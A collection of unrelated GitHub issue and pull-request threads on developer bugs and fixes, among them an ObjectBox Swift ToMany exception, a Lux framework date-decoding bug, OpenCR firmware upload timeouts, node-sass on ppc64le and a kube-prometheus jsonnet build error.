I'm seeing an exception when updating ToMany relationships. I have replicated it in the following trivial example.
The exception occurs somewhat randomly after several iterations but once it occurs it appears the database is in a bad state.
class Teacher: Entity {
    var id: Id = 0
    // objectbox: backlink = "teachers"
    var students: ToMany<Student> = nil
}

class Student: Entity {
    var id: Id = 0
    var teachers: ToMany<Teacher> = nil
}

func test() {
        do {
            //Boilerplate… create store and open box
            let databaseName = "test"
            let appSupport = try FileManager.default.url(for: .applicationSupportDirectory,
                                                         in: .userDomainMask,
                                                         appropriateFor: nil,
                                                         create: true)
                .appendingPathComponent(Bundle.main.bundleIdentifier!)
            let directory = appSupport.appendingPathComponent(databaseName)
            try FileManager.default.createDirectory(at: directory,
                                                    withIntermediateDirectories: true,
                                                    attributes: nil)
            let store = try Store(directoryPath: directory.path)
            let teacherBox = store.box(for: Teacher.self)
            let studentBox = store.box(for: Student.self)

            //populate db if necessary
            if try teacherBox.count() == 0 || studentBox.count() == 0 {
                print(Store.versionFullInfo)

                print("Creating teachers")
                let teacher1 = Teacher()
                let teacher2 = Teacher()

                print("Creating students")
                let student1 = Student()
                let student2 = Student()

                print("Putting teachers and students")
                try teacherBox.put([teacher1, teacher2])
                try studentBox.put([student1, student2])

                print("Setting teachers on students")
                student1.teachers.append(teacher1)
                student1.teachers.append(teacher2)

                student2.teachers.append(teacher2)

                print("Applying teachers on students")
                try student1.teachers.applyToDb()
                try student2.teachers.applyToDb()
            }

            //Update student2 with random teacher
            guard let student2 = try studentBox.get(2), let newTeacher = try teacherBox.all().randomElement() else {
                print("Failed to get student/teacher")
                return
            }

            print("Teachers on student2 was: \(student2.teachers.map {$0.id}), replacing with: [\(newTeacher.id)]")

            student2.teachers.replace([newTeacher])
            try student2.teachers.applyToDb()
        } catch {
            print("===> Exception Caught:", error)
        }
    }

Here is sample output from one of my test runs. Note that it fails on iteration 3 in this particular test. The database appears to be in a bad state once the issue occurs.

Running test: 1
ObjectBox Swift 1.3.0 (lib: 0.8.2, core: 2.6.0-2020-04-30 (32 bit mode))
Creating teachers
Creating students
Putting teachers and students
Setting teachers on students
Applying teachers on students
Teachers on student2 was: [2], replacing with: [1]
Running test: 2
Teachers on student2 was: [1], replacing with: [2]
Running test: 3
Teachers on student2 was: [1, 2], replacing with: [2]
===> Exception Caught: notFound(message: "")
Running test: 4
Teachers on student2 was: [1, 2], replacing with: [1]
===> Exception Caught: notFound(message: "")
Running test: 5
Teachers on student2 was: [1, 2], replacing with: [2]
===> Exception Caught: notFound(message: "")
Running test: 6
Teachers on student2 was: [1, 2], replacing with: [2]
===> Exception Caught: notFound(message: "")
Running test: 7
Teachers on student2 was: [1, 2], replacing with: [1]
===> Exception Caught: notFound(message: "")
Running test: 8
Teachers on student2 was: [1, 2], replacing with: [2]
===> Exception Caught: notFound(message: "")
Running test: 9
Teachers on student2 was: [1, 2], replacing with: [2]
===> Exception Caught: notFound(message: "")
Running test: 10
Teachers on student2 was: [1, 2], replacing with: [1]
===> Exception Caught: notFound(message: "")

Confirmed fixed. Thank you!


[BUG] Energy Efficiency Enhancer does not work (increases power consumption rather than decreases)

Description:
Energy Efficiency Enhancer increases power draw significantly for any machine
Steps to Reproduce:
Place and power a recycler, use an energy reader on it. It should say 8.0 LF/tick
Add an energy efficiency enhancer upgrade, it should now say 80 LF/tick
Add a second energy efficiency enhancer upgrade, it should now say 40 LF/tick
Technical Information:

Minecraft: 1.16.5
Fabric API: 0.33.0
Industrial Revolution: 1.9.4 BETA
Modpack: All of Fabric 3 https://www.curseforge.com/minecraft/modpacks/all-of-fabric-3/files/3282477

Details:
https://gfycat.com/IndolentTidyBushsqueaker
Notably, using a speed upgrade (I assume) properly increases the power usage to 16 LF/tick - adding an energy enhancer after that jumps total usage up to 160 LF/tick

Energy Efficiency Enhancers have been removed as of 1.10.0-beta.1


chore: add website version 3.4.x

Type:
The following has been addressed in the PR:

There is a related issue?
Unit or Functional tests are included in the PR

Description:

Thanks @sergiohgz 👾


Extract REPL integration to _lib folder

The implementation for the REPL is written directly inside the integration module (https://github.com/talyssonoc/node-api-boilerplate/blob/main/src/_boot/repl.ts). We could extract it to inside the _lib folder as we do for the other integrations (https://github.com/talyssonoc/node-api-boilerplate/tree/main/src/_lib).

@talyssonoc Hey! Can I take this one?


Generalize SELinux context determination and volume support

Currently there is a WIP PR to add support for SELinux to the emptyDir volume.  This should be generalized and extracted from any particular volume plugin in such a way that individual plugins should receive the effective SELinux context to use and simply handle performing mounts / volume setup accordingly.

@thockin I have some specific design thoughts on this -- will lay them out tomorrow.  Wanted to make an issue for this before I forgot.
cc @eparis @timothysc @smarterclayton

Closing because I realized that #7925 is a dupe


Sharing your training loss curve

Hi @G-Wang,
I'm developing a cnn based vocoder. And I want to try beta_mle_loss as used in your code. However, as I test, training wavernn is too slow. Can you share with me your training loss curve, so I can have a good reference when I test it to my model.
Thanks.

Hi @tuan3w , I didn't log my loss curve in my implementation yet, as I only save checkpoints. I'll be sure to add loss plot to the repo asap.
Beta distribution, and gaussian distribution in general seems to be very finicky to learn. You can hear from my audio samples that the voice has weird intonations, and those samples were when the network's loss has stopped decreasing for a while. The other gaussian distribution training on github takes a very long time as well (https://github.com/Rayhane-mamah/Tacotron-2/issues/173#issuecomment-432068628.)
In terms of training the beta distribution that I had the checkpoint for download, as it was some of my initial tries, I trained with fixed learning rate of 1e-4, and decayed it by half when I see training stalls. (final learning rate was very small, probably 1e-8). The average loss per epoch towards the end is around -6.3.
I've updated the repo recently with learning rate schedules that's been tested (somewhat), I'll update the beta distribution training with loss curves once they're done and post it here.

Thanks for your information.


systemd: use standard targets, update service type

wayland-session.target is a non-standard target, and systemd will not include it. The effect is that this service is useless unless people manually create this wayland-session.target. We should be using graphical-session.target instead, which is a standard target meant to mean "any graphical session".
Even for people who use both X11 and Wayland, I don't think it will be terrible, the service would supposedly just silently fail when attempted to start under X11, and next time they logout and login in Wayland it will start again (this time successfully).
If that is a problem, there are alternatives, e.g. users could manually start the service when launching Wayland session instead of enabling the service for auto-start. If even that is a problem, we could even add some startup conditions, but this is really hacky, and many apps aren't doing it anyway (especially those that were written for X11).
I also changed the service type, because I don't think Waybar can be started by DBUS, it may use DBUS for its modules, but it should be started manually after WM such as sway starts. Please tell me if I completely misunderstood this part 🙂

LGTM, thanks!


Date not correctly decoded on PATCH/POST

Date not correctly decoded for at least PATCH and POST requests. Date is sent as an ISO 8601 string in the JSON (exactly the way it was received from Lux) and defined as a date type in the migration.
Example: "2013-02-07T00:00:00.000Z" is decoded as {} in the controller.
Relevant stacktrace:
TypeError: Expected type 'date' for parameter 'data.attributes.date' but got 'object'.
    at validateType$1 (/node_modules/lux-framework/src/packages/router/route/params/utils/validate-type.js:46:5)
    at Set.validate (/node_modules/lux-framework/src/packages/router/route/params/parameter/index.js:40:5)
    at Map.validate (/node_modules/lux-framework/src/packages/router/route/params/parameter-group/index.js:59:45)
    at Map.validate (/node_modules/lux-framework/src/packages/router/route/params/parameter-group/index.js:59:45)
    at Map.validate (/node_modules/lux-framework/src/packages/router/route/params/parameter-group/index.js:59:45)
    at /node_modules/lux-framework/src/packages/router/route/index.js:157:28
    at Generator.next (<anonymous>)
    at step (/dist/bundle.js:76:30)
    at /dist/bundle.js:94:14
    at /dist/bundle.js:73:12
    at Set.visit (/node_modules/lux-framework/src/packages/router/route/index.js:149:58)
    at parseRequest.then.params (/node_modules/lux-framework/src/packages/server/index.js:119:26)
    at process._tickCallback (internal/process/next_tick.js:103:7)

This is a nasty one. The date is parsed correctly all the way to the end of the format function in /src/packages/server/request/parser/utils/format.js. There camelizeKeys (part of the 'inflection' npm package) is called which transforms:
{
 'birth-date': 2017-01-15T00:00:00.000Z
}

into
{
    birthDate: {}
}

"2017-01-15T00:00:00.000Z" in the first object is a valid Date object.
Separately from all the above it is (I do have to double check this) also necessary to add an extra case to validateType in /src/packages/router/route/params/utils/validate-type.js due to typeof new Date() === 'object'.
This makes it:
switch (type) {
    case 'array':
      isValid = Array.isArray(value);
      break;

    case 'buffer':
      isValid = isBuffer(value);
      break;

    case 'object':
      isValid = isObject(value) || isNull(value);
      break;

    case 'date':
      isValid = value instanceof Date;
      break;

    default:
      isValid = type === valueType;
  }

Closed by #639


F020 Errors

I have an OpenManipulator kit fully assembled. Dynamixel s are configured as 11-15 and are set to 1000000 baud.  I have Openmanipulator fully functional with U2D2. That is, GUI works, Viz, Keyboard and MoveIt all come up without errors. And Openmanipulator moves.
The problem I have is intermittent F020 errors with OpenCR losing connection to ACM0. Or complaining about sketch transfer errors. Arduino 1.8.9 installed. Simple “blink” test will work one time then fail next time. None of the Openmanipulator sketches work but sometimes they intermittently end with”jump to firmware” message (success). But next time fail to load/run with F020 error. in any case, nothing happens with OpenManipulator on OpenCR.

Running Ubuntu 16.04 and ROS Kinetic. Have not tried with Windows. I have three different computers built up this way. One is running Ubuntu in a VM and the other two computers running Ubuntu as the native OS.

Have repeatedly completed Firmware Recovery Mode as shown in OpenManipulator X instructions.

Is it possible that many of the Examples on Arduino are programmed with the incorrect baud rate or that there is serious timing problem syncing commands between PC and OpenCR?

Hi @ed8metzler
Thanks for using our openMANIPULATOR.
Did you upload the open_manipulator_chain example source code?
'OpenCR' source code we provide is  operatied without ROS packages, in the other word, the controller is working on OpenCR board, the control commends are sended through the usb cable by using Processing IDE program.
If you are operating open_manipulator above environments, first of all, please check usb cable is stable, let me know which source code was uploaded to OpenCR.

Hi@Hye-Jong KIM,
Here are the steps I followed:
Select CHAIN from Examples on Arduino menu.
Compile and Load – sometimes I receive Jump to FW message; sometimes xF020 error.
OpenManipulator does nothing.
Have replaced USB cable. No difference.
To answer the question about Source Code – it is the same that is in the Examples (OpenCR is selected as Board under Tools menu). And selected the .JSON web site shown at the OpenManipulator X instructions.
Sometimes “Blink” and “Serial monitoring of SW1 setting” work. But most of the time not.
There is no consistency with OpenCR. One time I receive xF020 error; one time it gets jump to FW message.
My version of OpenCR seems to be 00. Are there other versions?
Ed Metzler
From: Hye-Jong KIM<EMAIL_ADDRESS>Reply-To: ROBOTIS-GIT/open_manipulator<EMAIL_ADDRESS>Date: Tuesday, May 14, 2019 at 9:30 PM
To: ROBOTIS-GIT/open_manipulator<EMAIL_ADDRESS>Cc: Ed Metzler<EMAIL_ADDRESS>Mention<EMAIL_ADDRESS>Subject: Re: [ROBOTIS-GIT/open_manipulator] F020 Errors (#102)
Hi @ed8metzler
Thanks for using our openMANIPULATOR.
Did you upload the open_manipulator_chain example source code?
'OpenCR' source code we provide is operatied without ROS packages, in the other word, the controller is working on OpenCR board, the control commends are sended through the usb cable by using Processing IDE program.
If you are operating open_manipulator above environments, first of all, please check usb cable is stable, let me know which source code was uploaded to OpenCR.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub, or mute the thread.

Hi, @ed8metzler
This phenomenon is a phenomenon that is often covered in OpenCR issues.
0xF020 Error is a timeout error.
This is caused by uploading firmware through usb, which can be caused by various reasons such as OS, USB cable, equipment and so on.
Would you like to attach all the error messages (error log of the Arduino IDE) that came with the 0xF020 error?

Dear Kei:
I finally got OpenCR to work with OpenManipulator. It typically requires regular re-loading of firmware and doing the Recovery mode using buttons on the board. And pulling and putting back in USB cable. These have to be done in the appropriate sequence. And then it requires multiple retries to get jump_to_FW message. Afterwards, running the Processing program seems to be more reliable. But sometimes will not work depending on initial position of OpenManipulator.
There are obviously synchronization issues between OpenCR, PC and OpenManipulator. Why has Robotis not fixed these issues if they are well known?
Ed Metzler
From: Kei<EMAIL_ADDRESS>Reply-To: ROBOTIS-GIT/open_manipulator<EMAIL_ADDRESS>Date: Tuesday, May 14, 2019 at 10:03 PM
To: ROBOTIS-GIT/open_manipulator<EMAIL_ADDRESS>Cc: Ed Metzler<EMAIL_ADDRESS>Mention<EMAIL_ADDRESS>Subject: Re: [ROBOTIS-GIT/open_manipulator] F020 Errors (#102)
Hi, @ed8metzler
This phenomenon is a phenomenon that is often covered in OpenCR issues.
0xF020 Error is a timeout error.
This is caused by uploading firmware through usb, which can be caused by various reasons such as OS, USB cable, equipment and so on.
Would you like to attach all the error messages (error log of the Arduino IDE) that came with the 0xF020 error?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub, or mute the thread.

Hi, @ed8metzler
Uploading problems between OpenCR and PC may be caused by problems such as USB cable as well as OS problems.
This is a problem that can not be reproduced even with known contents because it differs from environment to environment. (Even though this phenomenon is repeated in your environment, it may not happen at all on the developer's PC)
There have been some people who have experienced this phenomenon so far, but we have never succeeded in reproducing it.
Anyway, there are difficulties in that we can not debug the same phenomenon.

Afterwards, running the Processing program seems to be more reliable. But sometimes will not work depending on initial position of OpenManipulator.

In relation to this, @gpwhd07, please check this out.

Hi @ed8metzler

Afterwards, running the Processing program seems to be more reliable. But sometimes will not work depending on initial position of OpenManipulator.

I think this problem is due to some joints exceeding the limit of the joints in the initial position you set. I recommend to place OpenMANIPULATOR-X at the following pose where each component does not conflict, so that start the controller (Push the reset button of OpenCR).

This issue will be closed since there were no actions for a while. You can reopen this issue to show this issue to the users whenever. Thanks.

Your suggestion worked. Sorry I did not let you know.
Best wishes,
Ed Metzler

On Aug 15, 2019, at 5:57 PM, Hye-Jong KIM<EMAIL_ADDRESS>wrote:
Closed #102.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub, or mute the thread.


linux-ppc64-64_binding.node is not available for ppc64le

On ppc64le platform, most of the NPM packages are failing with the below error , as node-sass library is not available for power platform  -
Cannot download "https://github.com/sass/node-sass/releases/download/v4.9.3/linux-ppc64-64_binding.node":
HTTP error 404 Not Found

Can you please guide us to create this library for ppc platform ?
Thanks in advance !!

Like ARM, PPC64 isn't a platform we support because we have no CI system that we can use to build or test them

We have travis staging CI environment for PPC platform , we plan to test node-sass there by adding ppc64le support in travis.yml file. I will update you soon.
Thanks !


docs: mention that --lnddir option overwrites all other directory options [skip ci]

Change Description
docs: mention that --lnddir option overwrites all other directory options [skip ci]
Closes #8408
Pull Request Checklist
Testing

[ ] Your PR passes all CI checks.
[ ] Tests covering the positive and negative (error paths) are included.
[ ] Bug fixes contain tests triggering the bug to prevent regressions.

Code Style and Documentation

[ ] The change obeys the Code Documentation and Commenting guidelines, and lines wrap at 80.
[ ] Commits follow the Ideal Git Commit Structure.
[ ] Any new logging statements use an appropriate subsystem and logging level.
[ ] Any new lncli commands have appropriate tags in the comments for the rpc in the proto file.
[ ]  There is a change description in the release notes, or [skip ci] in the commit message for small changes.

📝 Please see our  Contribution Guidelines for further guidance.

Sorry It seems I forgot to put [skip ci] in the commit message!


Added cloud manager secret

I had initially thought to leave the original secret as being either a client_credential or a password grant_type, and have the cm stuff as completely separate, but it is sort of hybrid at the moment.
If non-cm secret is also a password the cm stuff won't work.
I wasn't sure if we needed the duality for the existing secret, or if we could state client_credentials only, which would simplify the code.
I submitted the review so we could have the discussion about best approach.


Composer

Would be great, if you could add your project to the packagist repository.
https://packagist.org/
Thanks!

The library should now be available via packagist
Feedback as to if it is actually working the way you expected it to is appreciated, I'm way out the loop on the PHP ecosystem by now 😷

Thanks a bunch and sorry for my late reply!
Does not quite work yet, but I fixed it already for you: https://github.com/cybrox/crunchdb/pull/2
Also: is there a way for you to change the stability of your package?
I get the following error when I try to install the package as stable:

$ php composer.phar require cybrox/crunchdb
Could not find package cybrox/crunchdb at any version for your minimum-stab
ility (stable). Check the package spelling or your minimum-stability

Instead, I have to install it this way and it's not pretty. :/
php composer.phar require cybrox/crunchdb:dev-master@dev

Sure thing, thanks for the PR!
Yeah, I released the new version as 3.1.0 since capitalizing class names is a breaking change. Looks like pakagist does not parse tags without minor version as versions at all. Anyways, you should now be able to install 3.1.0 with >= 0.0.0 or ideally ~> 3.1.0
Let me know if you run into any additional problems :)


trying to make it work from a macosx -failed

Hi, the stack looks great,  I've been following a tutorial here https://kauri.io/deploy-prometheus-and-grafana-to-monitor-a-kube/186a71b189864b9ebc4ef7c8a9f0a6b5/a
however, I am not able to deploy this using macosx catalina and brew installed go
after installing go using brew I set the PATH

brew install go
export PATH=$PATH:/usr/local/Cellar/go/1.14.2_1/bin/

make vendor finishes, but make deploy gives me this error
make
rm -rf manifests
./scripts/build.sh main.jsonnet /usr/local/Cellar/go/1.14.2_1//bin/jsonnet
using jsonnet from arg
+ set -o pipefail
+ rm -rf manifests
+ mkdir manifests
+ /usr/local/Cellar/go/1.14.2_1//bin/jsonnet -J vendor -m manifests main.jsonnet
+ xargs '-I{}' sh -c 'cat {} | gojsontoyaml > {}.yaml; rm -f {}' -- '{}'
RUNTIME ERROR: vars.jsonnet:1:1-10 Unknown variable: master_ip
	main.jsonnet:2:14-35	thunk <vars> from <$>
	main.jsonnet:11:60-64

	utils.libsonnet:21:9-13	thunk from <function <anonymous>>
	utils.libsonnet:17:26-29	thunk from <function <aux>>
	utils.libsonnet:17:15-30	function <aux>
	utils.libsonnet:21:5-21	function <anonymous>
	main.jsonnet:11:14-92	thunk <kp> from <$>
	main.jsonnet:21:81-83
	<std>:1278:24-25	thunk from <function <anonymous>>
	<std>:1278:5-33	function <anonymous>
	main.jsonnet:21:64-99	$

	During evaluation

make: *** [manifests] Error 1

as I am a go noob, any help would be appreciated
Cheers!

Have you modified anything on vars.jsonnet? I just checked-out a fresh tree and it built correctly.
The master_ip variable is only used if k3s is enabled. I also generated with it as true and worked normally.

Hi, thanks for the answer, sorry for the omission, yes, I had changed the vars to read:
  k3s: {
    enabled: true,
    master_ip: ['<IP_ADDRESS>'],
  },

  // Domain suffix for the ingresses
  suffixDomain: '<IP_ADDRESS>.nip.io',
.
.
.
  // Setting these to false, defaults to emptyDirs
  enablePersistence: {
    prometheus: true,
    grafana: true,
  },

and using k3s.
I can give you more infos if needed.
Cheers

Sorry but I just did a fresh checkout of the repo, changed the exact same parameters and make generated the files correctly.
Could you try the same?

that worked. thank you!